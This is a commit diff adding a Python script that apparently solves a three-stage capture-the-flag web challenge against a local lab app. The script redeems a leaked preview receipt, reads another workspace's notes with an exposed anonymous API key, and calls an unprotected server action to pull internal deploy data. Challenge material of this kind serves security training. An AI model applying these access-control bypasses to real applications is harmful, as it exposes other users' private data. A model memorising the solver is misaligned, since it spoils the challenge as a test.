Init. Commit

2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
@@ -0,0 +1,90 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import argparse
+import json
+from urllib import parse, request
+
+
+def get_json(base: str, path: str, headers: dict[str, str] | None = None):
+    req = request.Request(base + path, headers={"Accept": "application/json", **(headers or {})})
+    with request.urlopen(req, timeout=5) as resp:
+        return json.loads(resp.read().decode())
+
+
+def post_json(base: str, path: str, payload: dict, headers: dict[str, str] | None = None):
+    body = json.dumps(payload).encode()
+    req = request.Request(
+        base + path,
+        data=body,
+        method="POST",
+        headers={
+            "Accept": "application/json",
+            "Content-Type": "application/json",
+            **(headers or {}),
+        },
+    )
+    with request.urlopen(req, timeout=5) as resp:
+        return json.loads(resp.read().decode())
+
+
+def solve(base: str) -> list[str]:
+    base = base.rstrip("/")
+
+    bootstrap = get_json(base, "/api/app/bootstrap")
+    build_manifest = get_json(base, bootstrap["api"]["buildManifest"])
+    stage1 = post_json(
+        base,
+        build_manifest["receiptRedeemEndpoint"],
+        {
+            "receipt": build_manifest["previewReceipt"],
+            "project": build_manifest["project"],
+        },
+    )["flag"]
+
+    internal_query = parse.urlencode(
+        {
+            "select": "workspace_id,title,body",
+            "workspace_id": "eq.ws-launchlet-internal",
+        }
+    )
+    notes = get_json(
+        base,
+        f"{build_manifest['dataApiBase']}/workspace_notes?{internal_query}",
+        headers={
+            "apikey": bootstrap["client"]["anonKey"],
+            "Authorization": f"Bearer {bootstrap['client']['session']}",
+        },
+    )
+    stage2 = next(body for row in notes for body in [row["body"]] if "caplag{" in body)
+    stage2 = stage2[stage2.index("caplag{") : stage2.index("}") + 1]
+
+    refs = get_json(base, bootstrap["api"]["serverReferences"])
+    action = refs["serverActions"]["inspectDeploy"]
+    stage3 = post_json(
+        base,
+        action["endpoint"],
+        {
+            "actionId": action["id"],
+            "args": {
+                "workspaceId": "ws-launchlet-internal",
+                "projectId": "proj-enterprise-rollout",
+            },
+        },
+        headers={"X-Launchlet-Preview": build_manifest["project"]},
+    )["flag"]
+
+    return [stage1, stage2, stage3]
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description="Solve Launchlet web challenge chain.")
+    parser.add_argument("url", nargs="?", default="http://127.0.0.1:31380")
+    args = parser.parse_args()
+
+    for flag in solve(args.url):
+        print(flag)
+
+
+if __name__ == "__main__":
+    main()